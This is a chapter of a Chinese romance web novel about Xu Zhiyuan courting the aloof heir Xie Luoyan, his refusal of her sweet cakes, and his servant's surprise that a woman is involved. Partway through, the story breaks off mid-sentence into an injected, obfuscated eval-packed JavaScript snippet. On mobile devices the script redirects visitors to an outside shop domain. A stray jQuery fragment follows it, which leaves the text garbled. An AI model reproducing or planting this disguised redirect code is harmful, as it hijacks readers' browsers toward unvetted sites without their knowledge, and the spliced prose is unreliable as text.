“我不难受。”
他冷着张脸,将她放回榻上。
可勾着他后颈的藕臂却不肯放开,那股缠人的香气似要钻进他的身体里。
谢洛衍默默攥紧双手,听她继续道:
“好好好,你不难受。但我难受了行不行?”
“你——”
谢洛衍拧眉盯着她的小脸瞧。
脸色还有些苍白,原本红润的唇瓣也少了点血色。
“谁让你不乖乖喝药的?”
被发现了。
许知鸢心虚地眨了眨眼,瘪着嘴回:
“才不是因为这个。我难受,是因为你说让我不要喜欢你了。”
她顿了顿,深吸一口气。
“我只喜欢你,最最最喜欢你。一天没有见到你、抱着你,日子过得简直生不如死!”
“看在我这么难受的份上,你抱抱我、亲亲我,好不好嘛~”
闷头说完这些话,许知鸢脸都皱成了一团,只觉得整个人都要熟透了。
白日里闲在家中,她将从前那些看过的话本全都翻了出来,彻彻底底研究了一遍。
可临到说出口时,她方觉得这这这、实在是太羞耻了!
简直比她看过最出格的春宫图还要让人臊得慌。
梦里尚且如此,回到现实中,她当真还能说得出来吗?
她悄悄抬起头,小心翼翼地观察眼前男人的反应。
谢洛衍还是那副矜贵冷傲的模样,下颌绷得极紧,喉结似是滚动了一下,掐着她手臂的大掌愈发用力。
些许疼痛传来,许知鸢略微挣扎,想让他松开。
下一瞬,腰际猛地被他揽住,脑袋瞬间便撞进了宽厚温暖的胸膛里。
咚咚——
男人的心跳如鼓,震动着她的耳膜。
许知鸢一只手搭在他的胸前,无意识攥紧他的衣襟,只觉得快要被他勒得喘不过气了。
“你、你这是做什么?”
好半晌,她终于找回自己的声音。
“抱你。”谢洛衍言简意赅地回答。
许知鸢努了努嘴,心道那些话本里教的果然有用。
只是这人口是心非得很,明明心跳得这么快,分明是受不了她如此撒娇告白,表面上还非要装出这副不近女色的样子。
假正经。
许知鸢默默用脸颊蹭了蹭他的胸膛,仰起头,柔软的唇瓣擦过他的喉结。
谢洛衍浑身一震,迅速将她松开,声音慌张。
“你这是作甚?”
许知鸢无辜地摊开手,“抱都抱了,下一步,不就是亲亲了吗?”
“谁、谁说我要亲你的?”
“哦?”
许知鸢轻笑一声,双手撑在他的膝上,身子前倾,仰脸凑到他眼前。
“所以……你不想亲我吗?”
少女微微歪着脑袋,唇齿轻启,状似无意地露出里面的一点微红。
谢洛衍的目光几乎黏在了她的唇上,衣袖下的手悄然握成拳,费了老大的功夫,才艰难移开视线。
“不、想。”
依照她的性子,恐怕就算他如此回答,她应当也会突然袭来,就像斋舍里那样。
谢洛衍浑身绷紧,视线左右游移,暗自思量着待会他该如何避开。
可出乎他意料的是,女郎竟突然从他身前退开,一转身,再次躺回到榻上。
“你要睡了?”他下意识问。
许知鸢适时捂嘴打了个哈欠,随后朝他拍了拍身侧的空位。
“对啊,你过来,躺在我身边吧。”
“不行。”谢洛衍咬牙回拒。
许知鸢掀了掀眼皮,瞟了他一眼。
方才不过躺了会儿他的怀抱,闻到熟悉的冷香,便觉得有些困了。
都到这份上了,她自是不肯放他回去。
她眼珠子转了一圈,道:
“我又不会吃了你,只是想让你离我近些。”
什么吃不吃的?总觉得不是什么正经话。
谢洛衍蹙眉,不理她。
许知鸢诱哄道:“如果你肯躺下,那我就答应你一个要求。”
要求?
谢洛衍沉眸,没来得及仔细思索,道:
“行。那你以后病了都得按时按量服药,不能嫌苦便不喝了。”
说刚说完,他当即一愣。
自己怎么突然说这个?
许知鸢闻言,唇角轻勾,朝他点了点头,“好的夫君,我听你的。”
夫君……
这般郑重亲密的称谓,她叫起来怎会如此轻易。
“你……”谢洛衍默了默,还是决定问个清楚,“你可曾这般叫过旁人?”
许知鸢的手悄悄穿过柔软的薄被,指尖勾起他一根修长的指节。
“我只叫过你,也只认定你是我的——夫君。”
-
翌日天还未亮,谢洛衍出了沈府。
一回到府院,推开门,淮姜便从里面倒了出来。
“世……世子!”
淮姜恍然惊醒,揉了揉睡眼,一眼发现了男人眼下的青黑。
“您昨夜究竟是去了何处?看起来觉都没睡好的样子,小的都担心死了。”
谢洛衍捏了捏发胀的眉心。
昨夜被那股馨香扰了一整夜,许知鸢倒是睡得香甜,他却整宿都难以入眠。
他没说话,进屋简单洗漱了一番。
去到国子监时,远远的便瞧见许知鸢一身书童打扮,正与沈弈川一同站在廊下。
廊檐投下的斑驳光影笼罩在他们身上,从他的角度看去,二人离得极近,肩膀都快挨在一起了。
淮姜默默跟在谢洛衍身后,几乎瞬间身子便不自觉瑟缩了两下。
他抬眼瞧了眼天色。
奇怪。
明明是盛夏,他怎么突然觉得有些冷呢?
“淮姜。”
谢洛衍扫了他一眼。
“你去那边等。”
淮姜顺着他手指的方向看去,竟是一处与此地相隔甚远的凉亭。
“是,世子。”
他恭声应道,余光瞧见自家世子往廊下沈公子的方向走去,心中甚为奇怪。
又不是与女郎私会,怎的还要这样支开他?
廊下。
许知鸢一早便发现了谢洛衍的身影。
她咬了口手里的糖糕,身侧的沈弈川还在劝着。
“知鸢妹妹,你如今身子刚好,其实不必如此来国子监陪我的……”
“沈兄。”
谢洛衍的出现,及时打断了沈弈川的话。
两人就这昨日夫子留下的课业,简单交流了一番。
期间许知鸢的目光一直落在谢洛衍身上,他却看都没看她一眼。
许知鸢顿时不乐意了。
她将怀里的油纸递到男人眼前,软声道:
“洛衍哥哥说了这么久的话,想必肚子也饿了,吃点糖糕吧?”
谢洛衍似乎是才发现她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778866|203565||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,目光微愣,垂眸,视线从她的小脸转到糕点上。
“知鸢妹妹说得正是。”
沈弈川笑着凑上前。
“谢兄快尝尝吧,这可是知鸢妹妹最爱吃的糖糕。从前每回她不开心或是病了,我就会买这糖糕回去哄她。”
谢洛衍一顿,收回目光。
“这种糖糕看起来就甜到发腻,都是小孩子爱吃的玩意,我不喜欢。”
与谢洛衍相识这么久,沈弈川还未从听过他如此冷硬直接地拒绝别人的好意。
他愣了愣,转头看向许知鸢。
“知鸢妹妹,你别在意。谢兄他……他就是……”
“不吃就不吃。”许知鸢打断道,“我才不稀罕给你吃呢,你以后都别吃!”
被人诋毁了自己最爱吃的糕点,许知鸢自是不乐意了,抱着糖糕忿忿离开。
接下来的一整日,谢洛衍再没有见过她的身影。
散学时他状似无意地路过沈弈川的马车,悄悄往里瞧了瞧,却只有沈弈川一个人待在里面。
“沈兄,许姑娘呢?”他顾不得其他,兀自问出声。
沈弈川不作他想,坦诚回道:“她晌午后便回去了。”
谢洛衍这下真有些慌了神。
昨夜不是还好好的?他是做错了什么吗?
-
书房里。
淮姜瞧了眼窗外的天色,忍不住小声提醒:
“世子,该是时候用膳了。”
谢洛衍沉默着,手里捏着的书册已不知有多久没翻过了。
淮姜又等了一会儿,抿唇,小声又提醒了一次。
“世子。若是不用晚膳,恐怕会饿坏了身体。”
啪——
书册砸在了桌案上。
谢洛衍睨了他一眼。
淮姜吓得心神一跳,双手攥紧,不敢说话了。
就在这时,原本沉默的男人终于开口。
“淮姜。”
“小的在。”
来了来了,世子是不是要治他的罪了!
“你说,若是有人生你的气,你应该怎么哄?”
淮姜闻言,惊讶地啊了一声。
世子这是何意?
难道是在故意试探他,看看该怎么定他的罪?
他紧张地咽了口水,道:
“小的……小的没别的本事,只有一颗忠诚的心。就算是惹谁不开心了,那也肯定是因为我关心他、在意他、想让他好!”
看在我这么为世子爷着想的份上,就饶过我这一回吧!下次就算世子饿死我也不多嘴了!
淮姜在心底默默祈求着。
谢洛衍却皱了皱眉。
“你管你自己作甚?我是要哄她,可不是要找什么理由。”
哄……哄她?
“世子,这要哄的人,难道……是女子?”
淮姜瞪大了双眼。
等等!
难道这几日世子的反常,原来是因为一个女子吗!
谢洛衍抿唇,“多嘴。”
“你只管回答就好。”
真的是女子!
淮姜简直要跳起来了。
作为从小随侍在世子身边的贴身小厮,他何曾见过自家世子身边出现过任何一个女郎?
这几年坊间甚至隐隐有传言,说自家世子实际上另有癖好,这才迟迟没有半个通房,甚至连侍奉的女婢都不要。
如今“沉冤昭雪”,他恨不能直接昭告天下,他家世子不是——